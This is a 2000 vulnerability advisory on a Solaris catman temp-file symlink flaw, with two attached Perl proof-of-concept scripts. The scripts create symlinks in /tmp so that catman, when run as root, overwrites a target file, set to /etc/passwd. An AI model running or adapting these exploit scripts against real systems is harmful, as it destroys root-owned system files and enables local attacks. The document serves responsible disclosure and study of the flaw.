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        Solaris 2.7/2.8 catman temp file vulnerability.

               Larry W. Cashdollar 
                         Vapid Labs

  
Date Published: 12/18/2000

Advisory ID: 11242000-02

Risk: Low

Title: catman temp file vulnerability.

Class:  Design Error

Remotely Exploitable:  no

Locally Exploitable:  Yes

Vulnerability Description:

  Through the use of symlinking temporary files created by /usr/bin/catman
upon execution by root a local user can clobber root owned files.

Vulnerable Packages/Systems: Solaris 2.x Sparc/x86 

Solution/Vendor Information/Workaround: 

  The vendor is currently working on a solution.  See references section
for Vendor contact information.  

Sun BugID: 4392144

Vendor notified on: 11/23/2000


Credits:

  I alerted sun to this issue 11/23/2000 they responded 11/24/2000.  Kudos
to the Sun Engineering group.  This response time should be a model to
other vendors.

Technical Description:

  The catman command creates preformatted versions of the online
manual.  It also creates the windex database for utilities like apropos
and whatis.  The problem lies with catman creating a temporary file in
/tmp, the file has the form of /tmp/sman_pidofcatman.  An attacker can
monitor the process list for the execution of catman and create a symlink
to a root owned file.   catman will upon execution overwrite the contents
of that file.  This is a new bug for catman and is not addressed in the
current patch cluster for Solaris 2.7 Sparc.  

Exploit/Concept Code: see attachments.

References: 

        Sun Microsystems.
        http://www.sun.com 

        Vapid Labs.
  http://vapid.betteros.org
  Email: Larry W. Cashdollar <lwc@vapid.betteros.org>


DISCLAIMER:

The contents of this advisory are copyright (c) 2000 Larry W. Cashdollar and
may be distributed freely provided that no fee is charged for this
distribution and proper credit is given.


Ver 2.4 11/29/2000

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#!/usr/local/bin/perl -w 
# The problem is catman creates files in /tmp insecurly. They are based on the 
# PID of the catman process,  catman will happily clobber any files that are 
# symlinked to that file.
# The idea of this script is to create a block of symlinks to the target file 
# with the current PID  as a starting point.  Depending on what load your
# system has this creates 1000 files in /tmp as sman_$currentpid + 1000.
# The drawback is you would have to know around when root would be executing 
# catman. 
# A better solution would be to monitor for the catman process and create the 
# link before catman creates the file.  I think this is a really small window 
# however. This worked on a patched Solaris 2.7 box (August 2000 patch
# cluster)
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
# lwc@vapid.betteros.org   11/21/2000   Vapid Labs.
# http://vapid.betteros.org

$clobber = "/etc/passwd"; #file to clobber
$X=getpgrp();
$Xc=$X; #Constant
$Y=$X+1000;#Constant

while($X < $Y) {

print "Linking /tmp/sman_$X to $clobber :"; 
# Change $clobber to what you want to clobber.
if (symlink ($clobber, "/tmp/sman_$X")) {
  print "Sucess\n";
}
   else { print "failed, Busy system?\n";}
$X=$X+1;
}


#Watch /tmp and see if catman is executed in time.

while(1)  {

$list = "/usr/bin/ls -l /tmp | grep sman|grep root |";

open (list,$list) or "die cant open ls...\n";

while(<list>) {
  @args = split "_",$_;
  chop ($args[1]);
    if ($args[1] >= $Xc && $args[1] <= $Y){
    print "Looks like pid $args[1] is the winner\n cleaning....\n"; 
    `/usr/bin/rm -f /tmp/sman*`;
    exit(1);
    }
  }
}










#!/usr/local/bin/perl -w 
# The problem is catman creates files in /tmp insecurly. They are based on the PID of the catman
# process,  catman will happily clobber any files that are symlinked to that file.
# The idea of this script is to watch the process list for the catman process, 
# get the pid and Create a symlink in /tmp to our file to be
# clobbered.  This exploit depends on system speed and process load.   
# This worked on a patched Solaris 2.7 box (August 2000 patch cluster)
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
# lwc@vapid.betteros.org   11/21/2000   Vapid Labs.
# http://vapid.betteros.org



$clobber = "/etc/pass";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/catman/) { 
  print "Symlinking sman_$args[1] to  $clobber\n";
  symlink($clobber,"/tmp/sman_$args[1]");
  exit(1);
   }
 }

}